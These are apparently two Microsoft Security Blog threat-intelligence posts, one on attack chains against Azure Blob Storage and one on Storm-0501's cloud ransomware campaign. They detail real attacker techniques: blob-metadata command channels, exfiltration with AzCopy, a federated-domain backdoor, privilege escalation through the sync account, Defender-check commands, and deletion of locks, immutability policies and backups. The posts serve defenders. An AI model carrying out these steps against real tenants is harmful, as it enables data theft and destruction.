When a new blob is added to a container, Azure can trigger Azure Functions, Logic Apps, or other workflows. If a threat actor controls the source container and an Event Grid subscription is configured, they may upload specially crafted files that trigger downstream compute resources running under managed identities, which may have elevated permissions to move laterally into other services.

If Azure Functions store their code in Azure Storage and threat actors gain write access, they may attempt to replace the code with malicious files. When the function is triggered by a blob event, HTTP request or timer, it could run malicious code under the function’s identity, potentially granting access to other resources.

Threat actors may also target automated data pipelines or third-party integrations that trust blob-based inputs. Enterprises often use Azure Data Factory and Azure Synapse Analytics to copy and transform data from Azure Blob Storage. These pipelines typically authenticate to Blob using managed identities, service principals, SAS tokens, or account keys, and may connect over managed private endpoints. If an attacker can modify data in a source container, they may influence downstream processing or gain access to services that trust the pipeline’s identity, enabling further lateral movement.

Collection

If blob containers are misconfigured, threat actors may be able to list and download large volumes of data directly from storage. If access is obtained, they may copy or export sensitive files into a staging container they control, using Storage operations like StartCopy, SyncCopy, or CopyBlob through AzCopy or the Azure Storage REST API to stay within Azure and evade detection. They may compress or encrypt the data cache internally as well before attempting to exfiltrate it.

Command and control

Blob Storage can be abused to distribute malware if the account or credentials are compromised. Threat actors may try to use Blob Storage as a covert beacon channel, where malware running on compromised hosts periodically polls for new blobs or metadata updates containing command payloads. After infecting a target, malware might send HEAD or GET requests to the Azure blob’s REST API, retrieving metadata without downloading the file content. If malware parses these headers as communication channels, it may send exfiltrated data back by writing separate metadata updates. Threat actors could embed new commands within metadata fields, meaning the blob’s content remains unchanged while the metadata plane acts as a persistent, stealthy command-and-control (C2) server. 

Additionally, threat actors may attempt to exploit object replication to propagate payloads across environments. If a replication policy is successfully configured, any new blobs added to a compromised source container are automatically copied to a trusted destination container—turning it into a distribution hub and enabling supply chain–style attacks.

Exfiltration

If threat actors gain access to the environment, they might leverage Azure-native tools like Azure Storage Explorer or AzCopy to exfiltrate data at scale—exploiting Azure’s high bandwidth and trusted domains to evade detection. 

For instance, they could enable static website hosting and copy sensitive blobs into the publicly accessible $web container. Disabling anonymous access on the storage account-level offers no protection here, because the $web container always remains publicly accessible. In another scenario, threat actors could exfiltrate data into a separate Azure subscription they control, using Microsoft’s internal network as a covert transport layer to bypass controls. 

Threat actors could also embed exfiltration logic within Azure Functions, Logic Apps, or Automation runbooks, disguising them as legitimate maintenance tasks and throttling transfers to stay below volume or rate thresholds.

Third-party integrations can also lead to indirect exposure if the integrated products are compromised. For example, in 2023, defenders whose environments had MOVEit Transfer application connected to Blob Storage for file transfers or archiving partially contained a zero-day vulnerability, which was later attributed in a tweet by Microsoft to Lace Tempest (known for ransomware operations and running the Clop extortion site).

Impact

If threat actors obtain high privilege roles, storage account keys, or broadly scoped SAS tokens, they can cause extensive damage—for example, issuing mass DeleteBlob or DeleteContainer operations, overwriting objects including with empty content, or re-encrypting data by reuploading modified content or writing new content to blobs. With the necessary privileges, threat actors can also modify file contents or metadata, change access tiers, and remove legal holds. In many scenarios, simply reading or exfiltrating data can result in long-term impact, even without immediate disruption—such as in cases of espionage.

Recommendations

Microsoft recommends the following mitigations to reduce the impact of this threat. 

Apply zero trust principles to Azure Storage.

Business asset security depends on the integrity of the privileged accounts that administer your IT systems. Refer to our FAQ for answers on securing privileged access. Learn to enable the Azure identity management and access control security best practices, such as ensuring separate user accounts and mail forwarding for Global Administrator accounts. Follow best practices for using Microsoft Entra role-based access control.

Implement our security recommendations for Blob Storage.

• Data protection
• Identity and access management
• Networking
• Logging and monitoring

Monitor the Azure security baseline for Storage and its recommendations using Defender for Cloud.

Microsoft Defender for Cloud periodically analyzes the security state of your Azure resources to identify potential security vulnerabilities and then provides security recommendations on how to address them. For more information, see Review your security recommendations.

Enable Microsoft Defender for Storage.

Defender for Storage provides an additional layer of security intelligence that detects unusual and potentially harmful attempts to access or exploit storage accounts. Its alerts detect and prevent top cloud storage threats, including sensitive data exfiltration, data corruption, and malicious file uploads. For more information, see Understand security threats and alerts in Microsoft Defender for Storage.

You don’t need to enable diagnostic logs for analysis. Defender for Storage also detects suspicious activities from entities without identities that access your data using misconfigured and overly permissive SAS. These SAS might be leaked or compromised.

Sensitive data threat detection considers the sensitivity of the data at risk, quickly identifying and addressing the most significant risks. It also detects exposure events and suspicious activities on resources containing sensitive data. Learn more about sensitive data threat detection.

Enable Defender for Storage via built-in policy. Monitor compliance states to detect if an attacker attempts to tamper with Defender for Storage to evade defenses, and automatically respond with alerts and recovery tasks.

• Enable malware scanning.

Malware scanning in Defender for Storage detects in near real-time and mitigates a wide variety of malware threats either by scanning blobs automatically when blobs are being frequently uploaded or modified, or on-demand for proactive security, incident response, integrating partner data, and securing data pipelines and machine learning datasets.

You can store scan results using index tags, which can be used by applications to automate workflows. Microsoft Defender for Cloud also generates relevant security alerts in the portal, so you can configure automations or export them to Microsoft Sentinel or another SIEM. You can also send results to an Event Grid for automating response and create an audit trail with Log Analytics.

Scanning supports automated remediation through built-in soft deletion of malicious blobs discovered during scanning, blocking access, quarantining and forwarding clean files.

Enable Defender Cloud Security Posture Management (CSPM).

Enabling the CSPM plan extends CSPM capabilities that are automatically enabled as part of Defender for Cloud to offer extra protections for your environment such as cloud security explorer, attack path analysis, and agentless scanning for machines.  

• Use sensitive data discovery.

The Sensitive data discovery component of CSPM identifies sensitive resources and their related risks, then helps prioritize and remediate those risks using the Microsoft Purview classification engine.

Use the cloud security checklist as a structured approach for securing your Azure cloud estate.

This checklist provides security guidance for those managing the technology infrastructure that supports all the workload development and operations hosted on Azure. To help ensure your workloads are secure and aligned with the Zero Trust model, use the design review checklist for security. We also provide complementary guidance on applying security practices and DevSecOps controls in a security development lifecycle.

Enable threat protection for AI services.

Blob Storage is often used to store training datasets for Azure Machine Learning. Because data poisoning is among the most severe machine learning threats, it is critical to scan uploads before they ever enter your pipeline to prevent targeted poisoning attacks.

Microsoft Defender XDR detections

Microsoft Defender for Cloud

When Defender for Storage is enabled, the following alerts in Defender for Cloud may indicate Azure Blob Storage threat activity. Note that other alerts apply to Azure Files.

Some of these alerts will not work if sensitive data threat detection is disabled. Some alerts may be relevant to secondary stages of the attack chain or only be an indication of a penetration test in your organization.

Reconnaissance

• Publicly accessible storage containers successfully discovered
• Publicly accessible storage containers unsuccessfully scanned
• Access from a known suspicious IP address to a sensitive blob container
• Access from a Tor exit node to a sensitive blob container
• Access from a suspicious IP address
• Unusual data exploration in a storage account

Resource Development

• Phishing content hosted on a storage account
• Suspicious external access to an Azure storage account with overly permissive SAS token 
• Suspicious external operation to an Azure storage account with overly permissive SAS token 
• Unusual SAS token was used to access an Azure storage account from a public IP address

Initial Access

• Access from a known suspicious application to a sensitive blob container
• Access from a suspicious application
• Access from an unusual location to a sensitive blob container
• Access from an unusual location to a storage account
• Authenticated access from a Tor exit node
• Unusual unauthenticated access to a storage container
• Unusual unauthenticated public access to a sensitive blob container 

Discovery

• Unusual access inspection in a storage account 

Lateral Movement

• Unusual application accessed a storage account 
• Malicious blob was downloaded from a storage account (with malware scanning add-on enabled)

Collection

• The access level of a potentially sensitive storage blob container was changed to allow unauthenticated public access
• The access level of a sensitive storage blob container was changed to allow unauthenticated public access 

Command and control

• Potential malware uploaded to a storage account
• Malicious file uploaded to storage account (with malware scanning add-on enabled; this alert may be an indication that a threat actor intentionally uploaded malware or that a legitimate user unintentionally uploaded a malicious file)

Exfiltration

• Unusual amount of data extracted from a sensitive blob container
• Unusual amount of data extracted from a storage account 
• Unusual number of blobs extracted from a sensitive blob container 

Impact

• Unusual deletion in a storage account 

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Threats targeting or leveraging Azure Blob Storage

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to Microsoft plugins such as for either Microsoft Defender XDR or Microsoft Sentinel.

MITRE ATT&CK Techniques observed

This threat exhibits the use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Reconnaissance

T1593.002 Search Open Websites/Domains: Search Engines | Threat actors may use search engines and advanced querying (for example, site:*.blob.core.windows.net) to discover exposed Blob Storage accounts.

T1594 Search Victim-Owned Websites | Threat actors might look for storage accounts of a victim enterprise by searching its websites. Victim-owned website pages might be stored on a storage account or contain links to retrieve data stored in a storage account. The links contain the URL of the storage and provide an entry point into the account.

T1595.003 Active Scanning: Wordlist Scanning | Threat actors might attempt to locate publicly accessible cloud storage accounts or containers by iteratively trying different permutations or using target-specific wordlists to discover storage endpoints that can be probed for vulnerabilities or misconfigurations.

T1596 Search Open Technical Databases | Threat actors might search public databases for publicly available storage accounts that can be used during targeting.

T1596.001 Search Open Technical Databases: DNS/Passive DNS | Threat actors might search for DNS data for valid storage account names that could become potential targets by querying nameservers using brute-force techniques to enumerate existing storage accounts in the wild or searching through centralized repositories of DNS query responses.

Resource Development

T1583.004 Acquire Infrastructure: Server | If threat actors exploit weak or misconfigured identity controls, Blob Storage could be misused as attacker-controlled infrastructure for hosting malicious payloads, phishing, or C2 scripts.

Initial Access

T1566.001 Phishing: Spearphishing Attachment | Blob Storage could host malicious attachments for spear phishing if threat actors leverage compromised SAS tokens or misconfigured anonymous access.

T1566.002 Phishing: Spearphishing Link | Blob Storage could be misused as a publicly accessible host for spear-phishing links if anonymous or misconfigured containers exist.

T1078.004 Valid Accounts: Cloud Accounts | Threat actors could gain an account-like foothold in Blob Storage if they compromise SAS or storage account keys or successfully take control of a Microsoft Entra ID principal account that holds roles or permissions over Blob Storage. 

Persistence

T1098.001 Account Manipulation: Additional Cloud Credentials | To maintain access even if compromised credentials are revoked, threat actors may try to exploit Blob Storage’s Role-Based Access Control (RBAC) by modifying permissions on identity objects, like Microsoft Entra ID security principals. They may also create high-privilege SAS tokens with long expiry, modify container access levels to allow anonymous reads, or provision SFTP accounts that bypass key rotation.

Defense Evasion

T1562.011 Impair Defenses: Disable or Modify Tools | Threat actors can try to disable, suppress, or modify Defender for Storage scanning features.

T1562.007 Impair Defenses: Disable or Modify Cloud Firewall | Threat actors may try to disable, modify, or reconfigure Blob Storage’s firewall and virtual network rules—such as by granting exceptions for trusted services through managed identities, establishing private endpoints, or leveraging geo-replication—to mask access channels and maintain persistent, covert access even if primary credentials are revoked. 

Credential Access

T1528 Steal Application Access Token | Threat actors may compromise Blob Storage by stealing OAuth-based application access tokens (including refresh tokens) or by leveraging subscription-level privileges to query management APIs and extract primary and secondary storage account keys. While compromised tokens enable impersonation of legitimate users with constrained, renewable privileges, keys grant unrestricted data-plane access that bypasses identity-based controls. Possession of either credential type can lead to full access to blob containers, facilitating data compromise and lateral movement across the cloud environment.

T1003 OS Credential Dumping | Threat actors might dump Cloud Shell profiles and session history—stored in blob containers of an Azure Storage account—to extract sensitive credentials such as OAuth tokens, API keys, or other authentication secrets. While these credentials differ from traditional OS password hashes, their extraction is analogous to conventional credential dumping because threat actors can use them to impersonate legitimate users and gain unauthorized, persistent access to Blob Storage, facilitating lateral movement and data compromise.

T1040 Network Sniffing | Threat actors might passively intercept network traffic destined for Blob Storage when unencrypted protocols are allowed, exposing shared keys, SAS tokens, or API tokens that could then be used to gain unauthorized access to the blob data plane. By exploiting cloud-native traffic mirroring tools, a threat actor could intercept and analyze the network data flowing to and from the virtual machines interacting with Blob Storage.

Discovery

T1580 Cloud Infrastructure Discovery | Blob Storage could be enumerated post-compromise to list subscriptions, resource groups, or container names that are not externally visible.

T1619 Cloud Storage Object Discovery | Blob Storage could be enumerated post-compromise to find specific blob data and configuration details, such as by call listing APIs to inventory objects or use control-plane access to retrieve firewall rules, logging, and backup policies.

Lateral Movement

T1021.007 Remote Services: Cloud Services | Threat actors might manipulate Blob Storage to trigger a compute service, such as Azure Functions, after placing a malicious blob in a monitored container. This automatic execution chain lets attackers pivot from the compromised container to the compute resource, potentially infiltrating additional components.

Collection

T1074.002 Data Staged: Remote Data Staging | Blob Storage could be used as a “staging area” if permissions are overly broad.

T1530 Data from Cloud Storage Object | Blob Storage could be abused to retrieve or copy data directly from containers if they are misconfigured, publicly accessible, or if keys or SAS tokens are obtained. This might include selectively downloading stored files.

Command and Control

T1105 Ingress Tool Transfer | Threat actors might upload and store malicious programs or scripts in Blob Storage after compromising the storage account or its credentials, leverage automatic synchronization to “fan out” malicious payloads across hosts that regularly pull from blob containers, and facilitate ongoing C2 to enable additional compromise and lateral movement. By merging malicious uploads with normal blob usage, threat actors could stealthily distribute harmful tools to multiple hosts simultaneously, reinforcing both C2 and lateral movement.

Exfiltration

T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | Blob Storage may facilitate data exfiltration if permissions are overly permissive or credentials (for example, account keys, SAS tokens) are compromised. Threat actors may abuse the “static website” feature to expose blob containers through public web endpoints or use tools like AzCopy to transfer stolen data.

T1030 Data Transfer Size Limits | A threat actor might deliberately constrain the packet sizes of Blob Storage data to remain below established thresholds by transferring it in fixed-size chunks rather than as entire blobs.

T1020 Automated Exfiltration | Threat actors might embed exfiltration routines in predefined automation processes in Blob Storage to evade detection.

T1537 Transfer Data to Cloud Account | Threat actors might transfer Blob Storage data to another cloud account that is under their control by using internal APIs and network paths that evade detection mechanisms focused on external data transfers.

Impact

T1485 Data Destruction | Blob Storage could be compromised or misused for data destruction, where a threat actor deletes or overwrites blob data for impact.

T1486 Data Encrypted for Impact | Blob Storage could be targeted by ransomware if threat actors obtain privileged access or compromise keys.

T1565 Data Manipulation | Threat actors might insert, delete, or modify Blob Storage data to compromise data integrity and influence outcomes by altering blob contents or metadata, disrupting business processes, distorting organizational insights, or concealing malicious activities.

References

• https://attack.mitre.org/
• https://cyberdom.blog/azure-blob-storage-powershell-scanning-script/
• https://grayhatwarfare.medium.com/how-to-search-for-open-amazon-s3-buckets-and-their-contents-https-buckets-grayhatwarfare-com-577b7b437e01
• https://www.bleepingcomputer.com/news/security/ransomware-gangs-now-abuse-microsoft-azure-tool-for-data-theft/
• https://www.progress.com/moveit
• https://x.com/MsftSecIntel/status/1665537730946670595

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Inside the attack chain: Threat activity targeting Azure Blob Storage appeared first on Microsoft Security Blog.

Unlike traditional on-premises ransomware, where the threat actor typically deploys malware to encrypt critical files across endpoints within the compromised network and then negotiates for a decryption key, cloud-based ransomware introduces a fundamental shift. Leveraging cloud-native capabilities, Storm-0501 rapidly exfiltrates large volumes of data, destroys data and backups within the victim environment, and demands ransom—all without relying on traditional malware deployment.

Storm-0501’s targeting is opportunistic. The threat actor initially deployed Sabbath ransomware in an attack against United States school districts in 2021. In November 2023, the actor targeted the healthcare sector. Over the years, the actor switched ransomware payloads multiple times, using Embargo ransomware in 2024 attacks.

In September 2024, we published a blog detailing how Storm-0501 extended its on-premises ransomware operations into hybrid cloud environments. The threat actor gained a foothold by compromising Active Directory environments and then pivoted to Microsoft Entra ID, escalating privileges on hybrid and cloud identities to gain global administrator privileges. The impact phase of these attacks took one of two forms: implanting backdoors in Entra ID tenant configurations using maliciously added federated domains to allow sign-in as nearly any user or deploying on-premises ransomware to encrypt endpoints and servers, eventually demanding ransom for the decryption keys.

Storm-0501 has continued to demonstrate proficiency in moving between on-premises and cloud environments, exemplifying how threat actors adapt as hybrid cloud adoption grows. They hunt for unmanaged devices and security gaps in hybrid cloud environments to evade detection and escalate cloud privileges and, in some cases, traverse tenants in multi-tenant setups to achieve their goals.

In this blog post, we describe the impact of a recent Storm-0501 attack on a compromised cloud environment. We trace how the threat actor achieved cloud-based ransomware impact through cloud privilege escalation, taking advantage of protection and visibility gaps across the compromised environment, and pivoting from on-premises to cloud pivots. Understanding how such attacks are conducted is critical in protecting cloud environments. Below we share protection and mitigation recommendations, including strengthening protections for cloud identities and cloud resources, and detection guidance across Microsoft security solutions to help organizations harden their networks against these attacks.

On-premises compromise and pivot to the cloud

In a recent campaign, Storm-0501 compromised a large enterprise composed of multiple subsidiaries, each operating its own Active Directory domain. These domains are interconnected through domain trust relationships, enabling cross-domain authentication and resource access.

The cloud environment mirrors this complexity. Different subsidiaries maintain separate Microsoft Azure tenants, with varying Microsoft Defender product coverage. Notably, only one tenant had Microsoft Defender for Endpoint deployed, and devices from multiple Active Directory domains were onboarded to this single tenant’s license. This fragmented deployment created visibility gaps across the environment.

Active Directory domains were synchronized to several Entra ID tenants using Entra Connect Sync servers. In some cases, a single domain was synced to more than one tenant, further complicating identity management and monitoring. For clarity, this blog focuses on the two tenants impacted by the attack: one where on-premises activity was observed, and another where cloud-based activity occurred.

On-premises activity

For the purposes of this blog, we focus our analysis on the post-compromise phase of the on-premises attack, meaning that the threat actor had already achieved domain administrator privileges in the targeted domain. Read our previous blog for a more comprehensive overview of Storm-0501 tactics in on-premises environments.

The limited deployment of Microsoft Defender for Endpoint across the environment significantly hindered detection. Of the multiple compromised domains, only one domain had significant Defender for Endpoint deployment, leaving portions of the network unmonitored. On the few onboarded devices where Storm-0501 activity was observed, we noted that the threat actor conducted reconnaissance before executing malicious actions. Specifically, the threat actor used the following commands:

sc query sense
sc query windefend

The threat actor checked for the presence of Defender for Endpoint services, suggesting a deliberate effort to avoid detection by targeting non-onboarded systems. This highlights the importance of comprehensive endpoint coverage.

Lateral movement was facilitated using Evil-WinRM, a post-exploitation tool that utilizes PowerShell over Windows Remote Management (WinRM) for remote code execution. The abovementioned commands were executed over sessions initiated with the tool, as well as discovery using other common native Windows tools and commands such as quser.exe and net.exe. Earlier in the attack, the threat actor had compromised an Entra Connect Sync server that was not onboarded to Defender for Endpoint. We assess that this server served as a pivot point, with the threat actor establishing a tunnel to move laterally within the network.

The threat actor also performed a DCSync attack, a technique that abuses the Directory Replication Service (DRS) Remote Protocol to simulate the behavior of a domain controller. By impersonating a domain controller, the threat actor could request password hashes for any user in the domain, including privileged accounts. This technique is often used to extract credentials without triggering traditional authentication-based alerts.

Pivot to the cloud

Following the on-premises compromise of the first tenant, the threat actor leveraged the Entra Connect Sync Directory Synchronization Account (DSA) to enumerate users, roles, and Azure resources within the tenant. This reconnaissance was performed using AzureHound, a tool designed to map relationships and permissions in Azure environments and consequently find potential attack paths and escalations.

Shortly thereafter, the threat actor attempted to sign in as several privileged users. These attempts were unsuccessful, blocked by Conditional Access policies and multifactor authentication (MFA) requirements. This suggests that while Storm-0501 had valid credentials, they lacked the necessary second factor or were unable to satisfy policy conditions.

Undeterred, Storm-0501 shifted tactics. Leveraging their foothold in the Active Directory environment, they traversed between Active Directory domains and eventually moved laterally to compromise a second Entra Connect server associated with different Entra ID tenant and Active Directory domain. The threat actor extracted the Directory Synchronization Account to repeat the reconnaissance process, this time targeting identities and resources in the second tenant.

Identity escalation

As a result of the discovery phase where the threat actor leveraged on-premises control to pivot across Active Directory domains and vastly enumerate cloud resources, they gained critical visibility of the organization’s security posture. They then identified a non-human synced identity that was assigned with the Global Administrator role in Microsoft Entra ID on that tenant. Additionally, this account lacked any registered MFA method. This enabled the threat actor to reset the user’s on-premises password, which shortly after was then legitimately synced to the cloud identity of that user using the Entra Connect Sync service. We identified that that password change was conducted by the Entra Connect’s Directory Synchronization Account (DSA), since the Entra Connect Sync service was configured on the most common mode Password-Hash Synchronization (PHS). Consequently, the threat actor was able to authenticate against Entra ID as that user using the new password.

Since no MFA was registered to that user, after successfully authenticating using the newly assigned password, the threat actor was redirected to simply register a new MFA method under their control. From then on, the compromised user had a registered MFA method that enabled the threat actor to meet MFA conditions and comply with the customer’s Conditional Access policies configuration per resource.

To access the Azure portal using the compromised Global Admin account, the threat actor had to bypass one more condition that was enforced by Conditional Access policies for that resource, which require authentication to occur from a Microsoft Entra hybrid joined device. Hybrid joined devices are devices that are joined to both the Active Directory domain and Entra ID. We observed failed authentication attempts coming from company devices that are either domain-joined or Entra-joined devices that did not meet the Conditional Access condition. The threat actor had to move laterally between different devices in the network, until we observed a successful sign-in to the Azure portal with the Global Admin account coming from a server that was hybrid joined.

From the point that the threat actor was able to successfully meet the Conditional Access policies and sign in to the Azure portal as a Global Admin account, Storm-0501 essentially achieved full control over the cloud domain. The threat actor then utilized the highest possible cloud privileges to obtain their goals in the cloud.

Cloud identity compromise: Entra ID

Cloud persistence

Following successful authentication as a Global Admin to the tenant, Storm-0501 immediately established a persistence mechanism. As was seen in the threat actor’s previous activity, Storm-0501 created a backdoor using a maliciously added federated domain, enabling them to sign in as almost any user, according to the ImmutableId user property. The threat actor leveraged the Global Administrator Entra role privileges and the AADInternals tool to register a threat actor-owned Entra ID tenant as a trusted federated domain by the targeted tenant. To establish trust between the two tenants, a threat actor-generated root certificate is provided to the victim tenant, which in turn is used to allow authentication requests coming from the threat actor-owned tenant. The backdoor enabled Storm-0501 to craft security assertion markup language (SAML) tokens applicable to the victim tenant, impersonating users in the victim tenant while assuming the impersonated user’s Microsoft Entra roles.

Cloud compromise: Azure

Azure initial access and privilege escalation

A tenant’s Entra ID and Azure environments are intertwined. And since Storm-0501 gained top-level Entra ID privileges, they could proceed to their final goal, which was to use cloud-based ransomware tactics for monetary gain. To achieve this goal, they had to find the organization’s valuable data stores, and these were residing in the cloud: in Azure.

Because they had compromised a user with the Microsoft Entra Global Administrator role, the only operation they had to do to infiltrate the Azure environment was to elevate their access to Azure resources. They elevated their access to Azure resources by invoking the Microsoft.Authorization/elevateAccess/action operation. By doing so, they gained the User Access Administrator Azure role over all the organization’s Azure subscriptions, including all the valuable data residing inside them.

To freely operate within the environment, the threat actor assigned themselves the Owner Azure role over all the Azure subscriptions available by invoking the Microsoft.Authorization/roleAssignments/write operation.

Discovery

After taking control over the organization’s Azure environment, we assess that the threat actor initiated a comprehensive discovery phase using various techniques, including the usage of the AzureHound tool, where they attempted to locate the organization’s critical assets, including data stores that contained sensitive information, and data store resources that are meant to back up on-premises and cloud endpoint devices. The threat actor managed to map out the Azure environment, including the understanding of existing environment protections, such as Azure policies, resource locks, Azure Storage immutability policies, and more.

Defense evasion

The threat actor then targeted the organization’s Azure Storage accounts. Using the public access features in Azure Storage, Storm-0501 exposed non-remotely accessible accounts to the internet and to their own infrastructure, paving the way for data exfiltration phase. They did this by utilizing the public access features in Azure Storage. To modify the Azure Storage account resources, the threat actor abused the Azure Microsoft.Storage/storageAccounts/write operation.

Credential access

For Azure Storage accounts that have key access enabled, the threat actor abused their Azure Owner role to access and steal the access keys for them by abusing the Azure Microsoft.Storage/storageAccounts/listkeys/action operation.

Exfiltration

After exposing the Azure Storage accounts, the threat actor exfiltrated the data in these accounts to their own infrastructure by abusing the AzCopy Command-line tool (CLI).

Impact

In on-premises ransomware, the threat actor typically deploys malware that encrypts crucial files on as many endpoints as possible, then negotiates with the victim for the decryption key. In cloud-based ransomware attacks, cloud features and capabilities give the threat actor the capability to quickly exfiltrate and transmit large amounts of data from the victim environment to their own infrastructure, destroy the data and backup cloud resources in the victim cloud environment, and then demand the ransom.

After completing the exfiltration phase, Storm-0501 initiated the mass-deletion of the Azure resources containing the victim organization data, preventing the victim from taking remediation and mitigation action by restoring the data. They do so by abusing the following Azure operations against multiple Azure resource providers:

• Microsoft.Compute/snapshots/delete – Deletes Azure Snapshot, a read-only, point-in-time copy of an Azure VM’s disk (VHD), capturing its state and data at a specific moment, that exists independently from the source disk and can be used as a backup or clone of that disk.
• Microsoft.Compute/restorePointCollections/delete  – Deletes the Azure VM Restore Point, which stores virtual machines (VM) configuration and point-in-time application-consistent snapshots of all the managed disks attached to the VM.
• Microsoft.Storage/storageAccounts/delete – Deletes the Azure storage account, which contains and organization’s Azure Storage data objects: blobs, files, queues, and tables. In all of Storm-0501 Azure campaigns we investigated, this is where they mainly focused, deleting as many Azure Storage account resources as possible in the environment.
• Microsoft.RecoveryServices/Vaults/backupFabrics/protectionContainers/delete – Deletes an Azure recovery services vault protection container. A protection container is a logical grouping of resources (like VMs or workloads) that can be backed up together, within the Recovery Services vault.

During the threat actor’s attempts to mass-delete the data-stores/housing resources, they faced errors and failed to delete some of the resources due to the existing protections in the environment. These protections include Azure resource locks and Azure Storage immutability policies. They then attempted to delete these protections using the following operations:

• Microsoft.Authorization/locks/delete – Deletes Azure resource locks, which are used to prevent accidental user deletion and modification of Azure subscriptions, resource groups, or resources. The lock overrides any user permission.
• Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete – Deletes Azure storage immutability policies, which protect blob data from being overwritten or deleted.

After successfully deleting multiple Azure resource locks and Azure Storage immutability policies, the threat actor continued the mass deletion of the Azure data stores, successfully erasing resources in various Azure subscriptions. For resources that remained protected by immutability policies, the actor resorted to cloud-based encryption.

To perform cloud-based encryption, Storm-0501 created a new Azure Key Vault and a new Customer-managed key inside the Key Vault, which is meant to be used to encrypt the left Azure Storage accounts using the Azure Encryption scopes feature:

• Microsoft.KeyVault/vaults/write – Creates or modifies an existing Azure Key Vault. The threat actor creates a new Azure key vault to host the encryption key.
• Microsoft.Storage/storageAccounts/encryptionScopes/write – Creates or modifies Azure storage encryption scopes, which manage encryption with a key that is scoped to a container or an individual blob. When you define an encryption scope, you can specify whether the scope is protected with a Microsoft-managed key or with a customer-managed key that is stored in Azure Key Vault.

The threat actor abused the Azure Storage encryption scopes feature and encrypted the Storage blobs in the Azure Storage accounts. This wasn’t sufficient, as the organization could still access the data with the appropriate Azure permissions. In attempt to make the data inaccessible, the actor deletes the key that is used for the encryption. However, it’s important to note that Azure Key vaults and keys that are used for encryption purposes are protected by the Azure Key Vault soft-delete feature, with a default period of 90 days, which allows the user to retrieve the deleted key/vault from deletion, preventing cloud-based encryption for ransomware purposes.

After successfully exfiltrating and destroying the data within the Azure environment, the threat actor initiated the extortion phase, where they contacted the victims using Microsoft Teams using one of the previously compromised users, demanding ransom.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks to escalate privileges. Additionally, a new version released in May 2025 introduces modern authentication, allowing customers to configure application-based authentication for enhanced security (currently in public preview). It is also important to enable Trusted Platform Module (TPM) on the Entra Connect Sync server to securely store sensitive credentials and cryptographic keys, mitigating Storm-0501’s credential extraction techniques.

The techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

Protecting on-premises

• Turn on tamper protection features to prevent threat actors from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Protecting cloud identities

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID and Azure environments to slow or stop threat actors.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID Directory Synchronization Accounts (DSA) from untrusted IP addresses to all cloud apps.  Please refer to the advanced hunting section and check the relevant query to get those IP addresses.
  • For Entra Connect Sync servers using application-based authentication, use Conditional Access for workload identities to restrict the application’s service principal from similar unauthorized access.
• Ensure multifactor authentication (MFA) requirement for all users. Adding more authentication methods, such as the Microsoft Authenticator app or a phone number, increases the level of protection if one factor is compromised.
  • Ensure phishing-resistant multifactor authentication strength is required for Administrators.
  • Ensure Microsoft Azure overprovisioned identities should have only the necessary permissions.
• Ensure separate user accounts and mail forwarding for Global Administrator accounts. Global Administrator (and other privileged groups) accounts should be cloud-native accounts with no ties to on-premises Active Directory. See other best practices for using Privileged roles here.
• Ensure all existing privileged users have an already registered MFA method to protect against malicious MFA registrations
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Entra ID environment.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID Directory Synchronization Account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID. This enhances protection against federated domains attacks.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• If only Microsoft Entra ID performs MFA for a federated domain, set federatedIdpMfaBehavior to rejectMfaByFederatedIdp to prevent bypassing MFA CAPs.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based Conditional Access policies to remediate risky sign-ins.

Protecting cloud resources

• Use solutions like Microsoft Defender for Cloud to protect your cloud resources and assets from malicious activity, both in posture management, and threat detection capabilities.
• Enable Microsoft Defender for Resource Manager as part of Defender for Cloud to automatically monitor the resource management operations in your organization. Defender for Resource Manager runs advanced security analytics to detect threats and alerts you about suspicious activity.
  • Enabling Defender for Resource Manager allows users to investigate Azure management operations within the Defender XDR, using the advanced hunting experience.
• Utilize the Azure Monitor activity log to investigate and monitor Azure management events.
• Utilize Azure policies for Azure Storage to prevent network and security misconfigurations and maximize the protection of business data stored in your storage accounts.
